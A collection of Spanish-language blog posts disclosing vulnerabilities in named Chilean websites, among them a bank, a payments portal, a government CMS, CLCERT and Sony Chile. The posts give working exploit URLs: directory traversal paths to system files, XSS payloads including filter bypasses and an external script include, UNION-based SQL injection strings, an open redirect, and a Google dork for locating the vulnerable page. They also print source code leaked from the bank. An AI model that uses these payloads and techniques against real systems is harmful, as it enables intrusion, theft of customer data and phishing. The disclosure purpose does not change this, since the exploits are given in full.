Se trata de una vulnerabilidad Local File Include + Directory Traversal = Source Code Disclosure, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.

Lo curioso es que segun el aviso de seguridad oficial del banco santander, hay una empresa “lider” en seguridad informática que les hace auditoría periodica:

Cierto, parece un chiste.

La vulnerabilidad está presente en el archivo “VerRentabilidad.asp”, que sirve para ver la rentabilidad de “algo”. El archivo necesita que se le entregue una variable “Numero”, al cual debemos pasarle especificamente un archivo y será descargado.
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga

        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" & nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") & Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" & nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if

En la línea 01 almacena en la variable “nombrePDF” el valor que le entegamos por URL mediante la variable “Numero”, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.

Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.

Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema

transa/
transa/ErrorDB/
transa/DHS/
transa/solicitud/
transa/include/
transa/Productos/
transa/Productos/include/
transa/preerror.asp
transa/logteclado.asp
transa/FuncBanco.asp
transa/common.asp
transa/cruce.asp
transa/ErrorDB/LogHOB.asp
transa/DHS/Constantes.asp
transa/DHS/DHSFuncs.asp
transa/solicitud/constantes_campana.asp
transa/include/ReadWriteSesion.asp
transa/include/TrampHBFC.asp
transa/include/prodini.asp
transa/Productos/include/ProdMenu.asp

Por ejemplo, ReadWriteSesion.asp:

ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) & right("00"&month(now()),2) & right("00"&day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) & "ErrorEstComp" & NameArr & fecha & ".txt"
	Linea = "	URL = " & URL
	Linea = Linea & "	Detalle = " & Objeto
	linea = fecha&";"& TimeValue(now()) &";" & linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function

Otor ejemplo, el archivo cruce.asp:

'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME & "/transa/partida.asp"
        path_sinper = SECWEBNAME & "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************

Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el sistema de banco mas seguro de latinoamerica.

A todas las personas que lean este artículo:
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.

A los encargados de seguridad de los bancos u otras entidades:
- La seguridad no es unicamente enviar emails y dar consejos tipo “no abras links”
- La seguridad de tu institucion no depende de un certificado SSL.

Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:
site:santander.cl inurl:VerRentabilidad
No es necesario estar logueado en el sistema para poder explotarla.

Solo me queda una pregunta… ¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?

Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable “Rut” es posible inyectar código javascript y poner en riesgo al usuario.

El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los “XSS visual” no afectan al usuario:

Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.

La vulnerabilidad se encuentra especificamente en la URL http://www.servipag.com/browse.asp?pagina=web/registro1.htm. El sitio autocompleta el campo “rut” según el valor pasado por GET mediante la variable “Rut”, por ejemplo, si ingresamos a http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1313&BuscaDatos=2 veremos que nos completa el rut de la siguiente forma

Y si vemos el código fuente, nos muestra:

Por lo tanto, si en lugar de “Rut=1313″ pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función “Reset()”, sin embargo, el desarrollador de servipag puso un estúpido inutil filtro que es demasiado fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos ‘; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.

La sintáxis que usaremos para explotar la vulnerabilidad será 1212′;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/* la cual nos generará un código fuente similar a:

Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.

Finalmente, la URL vulnerable es http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1212′;}/**/window.stop();confirm(/Servipag_XSS?/);/*=’&BuscaDatos=2.

ACTUALIZADO (12 DE SEPT 14:08hrs)

Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.

Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.

Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos … PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.

Que tipo de información podemos ver aqui?

1. Se refiere al “cliente” como “Usuario”, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.
2. El banco mediante el cual se hace el pago.
3. Empresa o servicio que se paga.
4. Monto, fecha y ID del pago realizado.

Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago … en fin, una serie de información que nadie tendría que saber.

Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del 68012208:

Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.

No es esto poner en riesgo los datos de los usuarios?

La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.

Cual es el potencial riesgo de estas dos vulnerabilidades juntas?

Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.

Nuevamente, Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.

ACTUALIZADO Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:

Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.

ACTUALIZADO (6 de Septiembre)
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para “obligarlos” a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:

http://www.secureless.org/vulnerability/2034/

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.

En la sección “Quienes somos” podemos ver el siguiente mensaje:

Como es de costumbre de todas estas empresas, todas tienen un “alto estandar de seguridad” y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una mentira.

Según ellos:

Seguridad
Contamos con las herramientas de más alto nivel en seguridad y eficiencia que la tecnología virtual ofrece en el mercado actualmente.

Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta @ServipagOnLine comenzó a seguirme y me dijo “Nuestro jefe de proyectos se contactara contigo“, 7 días despues lo único que he recibido es un correo que dice:

Le respondí cómo podía contactarme y eso fue el fin de la conversación.

Las vulnerabilidades

Local File Include & Directory Traversal

Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo “browse.asp”, al pasarle mediante la variable “pagina” el archivo que deseamos ver, por ejemplo “../../../../../../../../../../../boot.ini”.

Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los “slash” normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:

Pero gracias a la contribución de @1error500, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los “slash” por “backslash” (\), podemos explotar nuevamente la vulnerabilidad.

Por ejemplo: http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&EstadoUsuario=0&TipoConsulta=EXPRESS&IdPagoSolicitado=4008706&IdPeriodoSolicitado=201107

#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
192.168.2.8www.servipag.com

Una verguenza de seguridad.

Cross Site Scripting (XSS)

Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable “p” y a la variable “mensaje_error” dependiendo de la “pagina” a mostrar.

- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&bloque=Pagos%20Preguntas%20Frecuentes1&p=%3Cscript%3Ealert(/XSS/)%3C/script%3E
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?

Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.

Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a través de un sistema de workflow.

La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo “onsubmit=doSearch()”

Al realizar la busqueda, la función doSearch() nos cambia el href:

function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } 

Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:

var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&engine=SwisheFind';
	url+= '&rpp=';
	url+= '&cid=815';
	url+= '&stid=';
	url+= '&iid=1257';
	url+= '&grclass=resultado-busqueda';
	url+= '&pnid=';
	url+= '&pnid_df=';
	url+= '&pnid_tf=';
	url+= '&pnid_search=2033,1999,1849';
	url+= '&limit=';
	url+= '&searchon=';
	url+= '&channellink=';
	url+= '&articlelink=w3:article';
	url+= '&pvlink=w3:propertyvalue';
	url+= '&notarticlecid=';
	url+= '&use_cid_owner_on_links=';
	url+= '&show_ancestors=';
	url+= '&show_pnid=';
	url+= '&cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&start=' + getCookie( 'search_start' );
		url+= '&keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&javascript=1';
	document.write( ' < \/scr' + 'ipt>' );

Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.

Para este ejemplo, lo que nos interesa es el valor final de la variable “url”, que en este caso es algo similar a:

http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=&cid=815&stid=&iid=1257&grclass=resultado-busqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=2033,1999,1849&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=&show_pnid=&cids=815&keywords=prueba

Ya nos salimos del dominio conama.cl y entramos a jugar al subdominio ntg-engine.conama.cl, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:

Aparece en negrita la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:

Los sitios afectados son:

Newtenberg – http://www.newtenberg.com
SINIA (Sistema Nacional de Informacion Ambiental) – http://www.sinia.cl
Ministerio del Medio Ambiente – http://www.mma.gob.cl
Superintendencia de Servicios Sanitarios – http://www.siss.gob.cl
Repositorio Institucional CONICYT – http://ri.conicyt.cl
Red Lideres – http://www.redlideres.cl
Punto Lex – http://www.puntolex.cl
Subsecretaria de Desarrollo Regional y Administrativo – http://www.subdere.gov.cl
CONAMA – http://www.conama.cl
El Periodista – http://www.elperiodista.cl/
Colombia Aprende – http://www.colombiaaprende.edu.co

Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable “url”.

PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)

URL: http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&engine=&rpp=20&cid=876&stid=&iid=1510&grclass=&pnid=&pnid_df=&pnid_tf=&pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=1&show_pnid=1&cids=876&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

PoC en el propio sitio de Newtenberg

URL: http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=10&cid=924&stid=5686&iid=1765&grclass=resultadobusqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=&limit=&searchon=&channellink=&articlelink=&pvlink=&notarticlecid=0&use_cid_owner_on_links=0&show_ancestors=&show_pnid=&cids=924&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

El error se produce al no filtrar el contenido de la variable “keywords“.

No se descarta que puedan haber mas sitios afectados.

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless

PortalInmobiliario.com es un sitio web que permite publicar, buscar y cotizar viviendas para arriendo o compra. Según ellos, son El punto de encuentro de la oferta y demanda inmobiliaria en Chile.

Como la mayoría de los sitios que tienen login y obligan a sus usuarios a registrarse para adquirir cierto tipo de información, el PortalInmobiliario tiene su propia cláusula de términos y condiciones. Ellos le llaman “Beneficios y Alcances“, y en ella podemos ver la sección donde dice “Reserva y confidencialidad de datos”:

La parte más importante es donde dice

Portalinmobiliario.com ha desarrollado tecnologías e invertido importantes recursos en mantener un alto estándar de seguridad de las bases de datos de propiedades y usuarios, pudiendo asegurar la mejor protección para ellos.

Especialmente la parte que marqué con negrita.

Lamentablemente para su alto estándar de seguridad y para los usuarios que creen en ellos, las claves/passwords de usuario se guardan en la base de datos sin cifrar, es decir, cualquier persona que acceda a la base de datos podrá conocer las passwords.

¿Cómo saberlo?
No es necesario ser un experto informático ni hacker para darse cuenta, es bastante sencillo.
Hace unos meses me registré en ese sitio y luego de no entrar por mucho tiempo se me olvidó mi contraseña, por lo que me fui a la opción “Recuperar Contraseña” y mi sorpresa fue cuando me llegó el correo con la información solicitada: Me enviaron la password en texto plano!

Obviamente, la única conclusión que puedo sacar es que no están cifrando o hasheando la password usando un algoritmo one-way. Hay 2 opciones, o la cifran usando uno que permite descifrado o bien directamente no la están cifrando, cualquiera sea el caso, no es seguro.

Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.

Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers and Humans Apart (Prueba de Turing pública y automática para diferenciar máquinas y humanos).

En el sitio “recuperar contraseña” de FeriaMix pueden ver un captcha que aparentemente es “normal”,

pero fijense en un detalle, cuando escriben mal la palabra que aparece en el captcha y le dan al boton “continuar”, salta automaticamente una alerta en javascript diciendo que el captcha no es valido.

Con esto podemos deducir que se hace la validación del captcha antes de que se envie la información al servidor, por lo tanto, es posible vulnerarlo. Si revisamos el codigo javascript encontramos “jcap.js” el cual contiene una validacion demasiado basica e insegura.

Sorpresa! La imagen del captcha que ustedes ven no es autogenerada, sino una imagen con una palabra estatica!

La imagen “71.jpg” tiene la palabra “mine”, la 72 tiene otra palabra y asi hasta la 191.jpg. Si van al directorio de “/jcap/cimg/” podran ver un listado de todas las imagenes del captcha.

De esta forma es tan facil como hacer un bot que se conecte, obtenga el nombre de la imagen y segun el “numero” de imagen, escriba una palabra predeterminada.

Se puede llamar CAPTCHA a esto?

La vulnerabilidad XSS se encuentra en el buscador y se debe a que no filtran ni parsean los parametros de entrada pasados por GET o por POST al script de busqueda. La URL vulnerable corresponde a http://www.sony.cl/corporate/CL/resultadosbusqueda.html.

La segunda vulnerabilidad nos permite redireccionar, mediante el header Location, a los visitantes a un sitio externo. El script o URL vulnerable es http://www.sony.cl/corporate/CL/doCustomerAuthentication, al pasarle mediante la variable REQ_PARAM_ACTUAL_PAGE cualquier URL, el usuario será redireccionado. Al pasar por ejemplo el parametro “REQ_PARAM_ACTUAL_PAGE=http://url.arbitraria” el servidor responde:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 May 2011 16:27:54 GMT
Server: Apache/2.2.11 (Unix) mod_jk/1.2.28 mod_ssl/2.2.11 OpenSSL/0.9.8k
X-Magnolia-Registration: Registered
Set-Cookie: JSESSIONID=BB3A23D11426B3254043627FD4FE768C.magnolia3; Path=/corporate
Location: http://url.arbitraria
Content-Length: 0
Content-Type: text/html;charset=UTF-8

Modificando la cabecera “Location” por la URL que nosotros indicamos.

Con una correcta verificación de errores y chequeo de seguridad es posible evitar lo que le ha pasado a Sony en distintos paises. Un poco de respeto por sus clientes

He intentado reportar la vulnerabilidad usando el formulario de contacto, lamentablemente esta es la respuesta al presionar el submit:

